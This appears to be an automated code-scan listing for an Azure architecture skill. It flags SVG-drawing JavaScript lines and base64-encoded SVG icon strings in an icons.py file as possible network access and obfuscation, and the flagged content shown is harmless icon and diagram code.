    _edgeLabels.forEach(el => {{     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');     g.classList.add('edge-label');
  • Network accessline 2760
    const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2762
    g.setAttribute('data-from', el.from);     g.setAttribute('data-to', el.to);     const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2763
    g.setAttribute('data-to', el.to);     const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');     r.classList.add('edge-label-bg');
  • Network accessline 2764
    const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2765
    r.classList.add('edge-label-bg');     const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');     const bw = el.label.length * 6 + 10;
  • Network accessline 2766
    const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');

harness/claude-code/skills/azure-architecture-autopilot/scripts/icons.py

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 7
    "b64": "PHN2ZyBpZD0idXVpZC1mY2E5ZmM4YS03ZTg3LTQyOTEtOTU5Ni1jYjg3ODIzMWQzMjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik05LjA4MiwxNC42NzdoMy4zNDVjLjY2MywwLDEuMi0uNTM3
  • Possible obfuscationline 12
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViYWE2NjZmLWQzNGItNDdjNi05ZGQ4LTk1NWNjZTY0MmRkOSIgeDE9IjE0LjQxNSIgeTE9IjEzLjU1NSIgeDI9
  • Possible obfuscationline 17
    "b64": "PHN2ZyBpZD0idXVpZC0xNzM1MTRmNy1kNmE1LTRkZjctODNhMC04ODMzZjg4NjEzODYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjFhNjQxMy1kYTM1
  • Possible obfuscationline 22
    "b64": "PHN2ZyBpZD0iZjQ1YWI3ODItN2E2ZC00ZjE4LTk0MTYtOGY3OGE0MDg3MTU1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4YTZhNGZjLTllOGQtNDIzYS05N2Qx
  • Possible obfuscationline 27
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0ODUyZTZmLTRlNDgtNDdhNi04Y2I3LWM1NDAxN2M0Mzg5NiIgeDE9IjkuMjgyIiB5MT0iMTIuMDc5IiB4Mj0i
  • Possible obfuscationline 32
    "b64": "PHN2ZyBpZD0iYmNlODM0ZTctZDM3Ni00YzIxLTk3ZTYtYjZjODQwYzMyZGUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1YjYwODgyLWFiZGUtNDcwYy1hMGY1
  • Possible obfuscationline 37
    "b64": "PHN2ZyBpZD0idXVpZC1iZTI1ODQ1Zi1jNjcyLTQ5MmEtYmM1My05NjE0Y2M5YmM3NmYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NzcyZmQyYS03YzM2
  • Possible obfuscationline 42
    "b64": "PHN2ZyBpZD0idXVpZC02YjgzODBjMy0wZWU1LTRjNDQtOTJhMi1mMTg1YzgyZGI2YmEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0wNTg3NmM3Mi04ZjI2
  • Possible obfuscationline 47
    "b64": "PHN2ZyBpZD0idXVpZC1jNmMzZjc1ZS01MzY5LTQ0OGUtYjg5NS0zZjk5ZmIxMWJlYmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik03LjQ1Ni42MDhjLS45MDItLjQxMS0xLjkwOS0uNTU5LTIu
  • Possible obfuscationline 52
    "b64": "PHN2ZyBpZD0idXVpZC1jZDVhOGI0MC00MDRiLTQ2NTAtOGFkNS0zNjE0YWYwMTUyZjkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC1hMmY4NmI4NC05Nzg1
  • Possible obfuscationline 57
    "b64": "PHN2ZyBpZD0idXVpZC1hOGI5NGNjMS1lNGQ3LTRmMjYtOGZiZS05M2Q3OWM3MTQ3ZTciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iODRiMmM4OS00NjI5
  • Possible obfuscationline 62
    "b64": "PHN2ZyBpZD0iYTlmNTZiNGUtMmE1MS00NDcxLTk0ODgtZDQ2MTQwOGFlNGViIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU0ZTFlNDk0LTIxZjEtNGU5Yy1hNmZh
  • Possible obfuscationline 67
    "b64": "PHN2ZyBpZD0iZTBiNGY0NDctZDVhOS00N2UzLTkwZTEtZjIxODRiYjlkMTRhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZmM1MzkyLTlmNDUtNDczZS1hMmQ0
  • Possible obfuscationline 72
    "b64": "PHN2ZyBpZD0iYTZkZjkzOTMtMmJkNy00YWM0LWJhMDYtYWI1ZjE2ZmY1OTIzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZkNTkxYjM1LTBlMDEtNDYxMC1hMDI1
  • Possible obfuscationline 77
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiZWM1NDdjLWFiZTYtNDBmZi05NGJiLWM4YWU0OTM2ZDNiYSIgeDE9IjEwLjA4NCIgeTE9IjEuMzA5IiB4Mj0i
  • Possible obfuscationline 82
    "b64": "PHN2ZyBpZD0idXVpZC00MzFhNzU5Yy1hMjlkLTQ2NzgtODllZS01YjFiMjY2NmY4OTAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0xMDQ3OGU2OC0xMDA5
  • Possible obfuscationline 87
    "b64": "PHN2ZyBpZD0iZmUzNjYwOTktYTJiMS00MjZlLWJmMTQtNWZhYzNhZjI2MzNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkODNmMTY5LTEwNmMtNDg4OC04OTc0
  • Possible obfuscationline 92
    "b64": "PHN2ZyBpZD0iZjc4ZWYzN2ItZmRlNC00NjFjLTk0ZTItZGNjZmYzMmRkNWQ3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmOGE5NTgzLWFhZTktNDhmZi04N2Q4
  • Possible obfuscationline 97
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmN2ExYTlmLWUxYTctNDcxYS1iNzZlLTFkMmVhNDNhOGQxMSIgeDE9IjguOTI0IiB5MT0iNzg1LjE0NSIgeDI9
  • Possible obfuscationline 102
    "b64": "PHN2ZyBpZD0idXVpZC04YzNlZGU0My01NTZkLTRjNjAtYjhlYi1lYTMwMGE5Yzg3NjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1kNmQwMjE2Mi03MDMx
  • Possible obfuscationline 107
    "b64": "PHN2ZyBpZD0iYjYyZmU1M2QtZDEwMi00ODhlLWJlZGYtM2I3YTQ4YWExNGJmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiYWEyNDRkLTdhNzMtNGRlZi1hZTMz
  • Possible obfuscationline 112
    "b64": "PHN2ZyBpZD0iYTc2YTAxMDMtY2UwMy00ZDU4LTg1OWQtNGMyN2UwMjkyNWQyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmZWI4ZTk2LTJhZjAtNDY4MS05YTZh
  • Possible obfuscationline 117
    "b64": "PHN2ZyBpZD0iZjZhNzkxMjYtYTdlZi00MTkwLWIwMWItZTM0YjVjY2I3OTc3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmYzk1ZjU3LTI4YmYtNDFkZS1hMDll
  • Possible obfuscationline 122
    "b64": "PHN2ZyBpZD0iZjM5ZGIwOGYtYzQzMy00YjNlLThkZDktZjViMzJiMGRkMmUyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzYjQ2MmQzLTRjM2MtNDdlOS04Mjdi
  • Possible obfuscationline 127
    "b64": "PHN2ZyBpZD0iZmQzZDhkNGEtNDZlMS00NDA4LWJhMWUtOTEzNWE3ZTM0YzQ5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIyNWE2ZWVmLTYzYTEtNDAyOC05ODFm
  • Possible obfuscationline 132
    "b64": "PHN2ZyBpZD0iZmNhMjEwNWYtYzAzOS00ZjM0LWJkNjUtOGFiOTVkNGVjZGI5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE3NzNhZjM4LTQzZTQtNGZkMi05NDg1
  • Possible obfuscationline 137
    "b64": "PHN2ZyBpZD0iYjcwYWNmMGEtMzRiNC00YmRmLTkwMjQtNzQ5NjA0M2ZmOTE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImUyY2Y4NzQ2LWM5YTgtNGVlZS04NmMy
  • Possible obfuscationline 142
    "b64": "PHN2ZyB3aWR0aD0iMzYiIGhlaWdodD0iMzYiIHZpZXdCb3g9IjAgMCAzNiAzNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfOTE3NV8zNDg0OTgpIj48cGF0aCBkPSJNNi4xMzU5NSAxNi4zMDRDNi4xMzU5NSAyMi4zMzgg
  • Possible obfuscationline 147
    "b64": "PHN2ZyBpZD0idXVpZC0xMjYwOWRhYS02MDhhLTQ5Y2MtYmU3My02OTgwOWYwNThmOGUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1jNWI3NzJkMy01NmZi
  • Possible obfuscationline 152
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2NDAyOWRjLTUzYjYtNDNiMi04YWFlLTkyNDEzODQ2ZTUxYyIgeTE9IjkiIHgyPSIxOCIgeTI9IjkiIGdyYWRp
  • Possible obfuscationline 157
    "b64": "PHN2ZyBpZD0idXVpZC0yNGQ5MmM3My02YTNkLTRjMWMtYjFkYS1hOWJlYjU4YmIxOGMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NGYxM2I2NC02OGUw
  • Possible obfuscationline 162
    "b64": "PHN2ZyBpZD0iYWNhYzVhMzQtYTAzMi00OWY5LTkzOTctMzdmNGYxYjRhZTlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY2ZDUzOTliLWE1Y2ItNGMwOS05NmNj
  • Possible obfuscationline 167
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNmM5NDIwLTIyZWEtNDM3ZC05NjNhLWQ5MWEwNzA1MmZlOCIgeDE9IjkiIHkxPSIxNy41IiB4Mj0iOSIgeTI9
  • Possible obfuscationline 172
    "b64": "PHN2ZyBpZD0iYjZmNmQ5OWUtZjMzMC00ODFkLTgzNmYtZWE1OGNjNDIyMTdmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImE3YTFjNDMxLTZjNmQtNGE4Zi05YTY5
  • Possible obfuscationline 177
    "b64": "PHN2ZyBpZD0iYTdlNWMyODQtMTNjYy00YWM1LWI4NDItZWNmYjNlN2JiYjczIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZGY3ZDE5LTNkNTQtNGQ4Ni1iN2I4
  • Possible obfuscationline 182
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzMWE5NWM2LTY3OTgtNDU0OS04NTY2LWRkNzgwODRhZTdiZiIgeDE9IjEwLjY4NiIgeTE9IjAuMTQzIiB4Mj0i
  • Possible obfuscationline 187
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImYxZDE4ZDc1LWNkYjAtNDA2Ny1iZjg1LTNjMWU2ZDYzY2I5MyIgeDE9IjMuNDIzIiB5MT0iOC40MzgiIHgyPSIx
  • Possible obfuscationline 192
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFhZjQ3NmRlLTA0YmMtNGFmOC05OGNjLWU2NzkyOWRjY2QyMCIgeDE9IjMuODc1IiB5MT0iMi4xOTciIHgyPSI4
  • Possible obfuscationline 197
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmNWZjMTg0LWQ2ZjQtNDJmMC1hYzU1LWYwNjliNzZlMzA2NCIgeDE9IjkuMDA0IiB4Mj0iOS4wMDQiIHkyPSIx
  • Possible obfuscationline 202
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxZmI1OGM1LWFkYmQtNDkwYy05Mzk3LWY2M2E0YWVjNjc0MiIgeDE9IjIuOTQiIHkxPSI4LjQzOCIgeDI9IjE0
  • Possible obfuscationline 207
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxZmI1OGM1LWFkYmQtNDkwYy05Mzk3LWY2M2E0YWVjNjc0MiIgeDE9IjIuOTQiIHkxPSI4LjQzOCIgeDI9IjE0
  • Possible obfuscationline 212
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmMzc2ZTJjLTM4ZmQtNDgzNS04M2JjLWJiMjRlZTk2MGZmZiIgeDE9IjYuMjY3IiB5MT0iMTMuOTY3IiB4Mj0i
  • Possible obfuscationline 217
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxYjQ3M2FiLTA2M2UtNDYxMS1hZWJiLTFjZTRkN2Y1ZjFjZSIgeDE9IjkiIHkxPSI5LjYyOCIgeDI9IjkiIGdy
  • Possible obfuscationline 222
    "b64": "PHN2ZyBpZD0idXVpZC1jZmI3MzQ1Yy01NzY0LTRlMDctODc5NS0yZDkwYmY0ZWU5ZmEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iY2MzZjExNS1iYWFh
  • Possible obfuscationline 227
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViMTY4MjYwLTFkODYtNDNkMy1hYWY5LWIyM2Q5NTNiMzNlMCIgeDE9IjkuNzc3IiB5MT0iLTEuMzIxIiB4Mj0i
  • Possible obfuscationline 232
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFmZDI0ZjA1LTU5YmUtNGMwNi04MzM0LTYwNTQwM2ZiMmI3YiIgeDE9IjkiIHkxPSI3NzguODMxIiB4Mj0iOSIg
  • Possible obfuscationline 237
    "b64": "PHN2ZyBpZD0iYjE1NjVlOTctZTUzYS00NGE1LTk0NzktMTk5ZDhjM2M0MmQyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVjNDM1OGZhLWM5NzctNDJlMi1hN2Fi
  • Possible obfuscationline 242
    "b64": "PHN2ZyBpZD0iYWFiZGUwYjYtMjI4OS00ZDZmLThiZTgtNWJiNjcwYmM4MGMwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwMjBkMWEzLTYwNGQtNGY3OS04MDg3
  • Possible obfuscationline 247
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE1OWFkOGFlLTNhMDItNDNmMS05YTgwLWQ2OWQxNDI3Mjk2YSIgeDE9IjkiIHkxPSIxMi43OTgiIHgyPSI5IiB5
  • Possible obfuscationline 252
    "b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNS4zMzQ5MiAxLjM3NDkxQzUuNDQ3MTcgMS4wNDIyOSA1Ljc1OTA5IDAuODE4MzU5IDYuMTEwMTQgMC44MTgzNTlIMTEu
  • Possible obfuscationline 257
    "b64": "PHN2ZyBpZD0idXVpZC03N2NjMDNmZS1jZmMyLTQ0NmItOTVmMy05ZmVmNWU3NzJiMzMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05ZDAwNzBkMS1lNmMz
  • Possible obfuscationline 262
    "b64": "PHN2ZyBpZD0iZWY3OWE3NDQtMzE4Zi00NDJiLWFhNmItOGZjMjMwY2Y3YWFmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyNWI1NDc4LTQzZjctNGY1My04NGE3
  • Possible obfuscationline 267
    "b64": "PHN2ZyBpZD0idXVpZC1kODdiYWU2NC00MjNhLTQxN2EtYTU4MC0yYTMzNzA2YTY1ZjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1jOTA2ZmEyYy1jNzJl
  • Possible obfuscationline 272
    "b64": "PHN2ZyBpZD0iYWI3MTBiYTctZGM4Yy00NGNlLWE2OGUtYWY2NWRkNmI0NjVhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxMy45ODkiIHZpZXdCb3g9IjAgMCAxOCAxMy45ODkiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0iYjIxMGZlZjEtZWU3YS00
  • Possible obfuscationline 277
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2OWQyMTUwLWI0ZGEtNDYwYi05OWFlLWE5ZjVhOTYxYjMxMyIgeDE9Ii0xMTk0LjMyMSIgeTE9IjkuMTI4IiB4
  • Possible obfuscationline 282
    "b64": "PHN2ZyBpZD0iYjBiNzU2MDMtNDZiNi00ZjhmLTkxYjEtMDc3MGY0ZDgwYmM5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmMTM1MWI2LTJmN2YtNGNlYi04ODA4
  • Possible obfuscationline 287
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48dGl0bGU+SWNvbi1CbG9ja2NoYWluLTM2NjwvdGl0bGU+PHBvbHlnb24gcG9pbnRzPSIxMy4xMyAyLjQgMTMuMTMgNi45OSA5LjE4IDkuMyA5LjE4IDQuNyAx
  • Possible obfuscationline 292
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iYTA3MzBhZGMtODU1NS00ZDZmLTgzZDAtYWJmYjA0M2YxNGUyIj48Zz48cG9seWdvbiBwb2ludHM9IjExLjE4OSA0LjgyNyAxMS4xODkgNy41MTUg
  • Possible obfuscationline 297
